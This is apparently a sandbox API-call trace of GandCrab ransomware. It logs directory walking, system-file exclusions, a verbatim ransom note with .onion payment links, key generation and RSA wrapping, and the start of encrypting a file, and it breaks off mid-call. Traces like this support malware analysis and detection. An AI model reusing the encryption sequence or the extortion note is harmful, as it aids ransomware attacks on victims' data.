lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*" [0053.423] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x589460 [0053.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.424] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.424] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.424] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1 [0053.424] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1 [0053.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0053.424] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned 58 [0053.424] lstrcmpW (lpString1=".0", lpString2=".sql") returned -1 [0053.424] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.424] FindClose (in: hFindFile=0x589460 | out: hFindFile=0x589460) returned 1 [0053.424] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.424] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\GDCB-DECRYPT.txt") returned 67 [0053.424] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.427] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.427] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.427] CloseHandle (hObject=0x4f8) returned 1 [0053.428] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned 50 [0053.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*" [0053.428] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589560 [0053.428] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.428] FindNextFileW (in: hFindFile=0x589560, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.428] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.428] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.428] FindNextFileW (in: hFindFile=0x589560, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.428] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.428] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt" [0053.428] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.428] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0053.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0053.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0053.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\GDCB-DECRYPT.txt") returned 66 [0053.428] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.428] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.428] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.428] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.428] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.429] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x589560, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.429] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1 [0053.429] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1 [0053.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0053.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\" [0053.429] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.429] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned 59 [0053.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*" [0053.429] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5892a0 [0053.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.429] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.429] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.429] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.429] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.429] lstrcmpW (lpString1="sonar_policy.xml", lpString2=".") returned 1 [0053.429] lstrcmpW (lpString1="sonar_policy.xml", lpString2="..") returned 1 [0053.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0053.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75 [0053.430] lstrcmpW (lpString1=".xml", lpString2=".sql") returned 1 [0053.430] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.430] FindClose (in: hFindFile=0x5892a0 | out: hFindFile=0x5892a0) returned 1 [0053.430] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.430] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\GDCB-DECRYPT.txt") returned 76 [0053.430] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.430] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.430] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.431] CloseHandle (hObject=0x4fc) returned 1 [0053.431] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned 59 [0053.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*" [0053.431] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5896a0 [0053.431] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.431] FindNextFileW (in: hFindFile=0x5896a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.431] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.431] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.431] FindNextFileW (in: hFindFile=0x5896a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt" [0053.432] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.432] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\GDCB-DECRYPT.txt") returned 75 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.432] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.432] FindNextFileW (in: hFindFile=0x5896a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.432] lstrcmpW (lpString1="sonar_policy.xml", lpString2=".") returned 1 [0053.432] lstrcmpW (lpString1="sonar_policy.xml", lpString2="..") returned 1 [0053.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0053.432] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.432] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75 [0053.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="desktop.ini") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="autorun.inf") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="ntuser.dat") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="iconcache.db") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="bootsect.bak") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="boot.ini") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="ntuser.dat.log") returned 1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="thumbs.db") returned -1 [0053.432] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.433] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml")) returned 0x20 [0053.437] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", dwFileAttributes=0x20) returned 1 [0053.484] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.484] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0053.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB" [0053.484] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5900a0) returned 1 [0053.485] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.485] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.485] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0053.485] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0053.485] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.485] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58ff90) returned 1 [0053.486] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.486] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.486] CryptGenRandom (in: hProv=0x58ff90, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0053.486] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0053.486] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.486] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.487] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.487] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58fc60) returned 1 [0053.489] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x589460) returned 1 [0053.489] CryptGetKeyParam (in: hKey=0x589460, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.489] CryptEncrypt (in: hKey=0x589460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0053.489] GetLastError () returned 0x0 [0053.489] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.489] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58fc60) returned 1 [0053.491] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5891a0) returned 1 [0053.491] CryptGetKeyParam (in: hKey=0x5891a0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.491] CryptEncrypt (in: hKey=0x5891a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0053.491] GetLastError () returned 0x0 [0053.491] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.491] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.491] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.491] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.491] ReadFile (in: hFile=0x500, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x4949, lpOverlapped=0x0) returned 1 [0053.499] VirtualAlloc (lpAddress=0x0, dwSize=0x4950, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.499] VirtualAlloc (lpAddress=0x0, dwSize=0x4950, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.499] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.500] SetFilePointer (in: hFile=0x500, lDistanceToMove=-18761, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.500] WriteFile (in: hFile=0x500, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4950, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0x4950, lpOverlapped=0x0) returned 1 [0053.500] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.500] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.503] WriteFile (in: hFile=0x500, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.503] WriteFile (in: hFile=0x500, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, 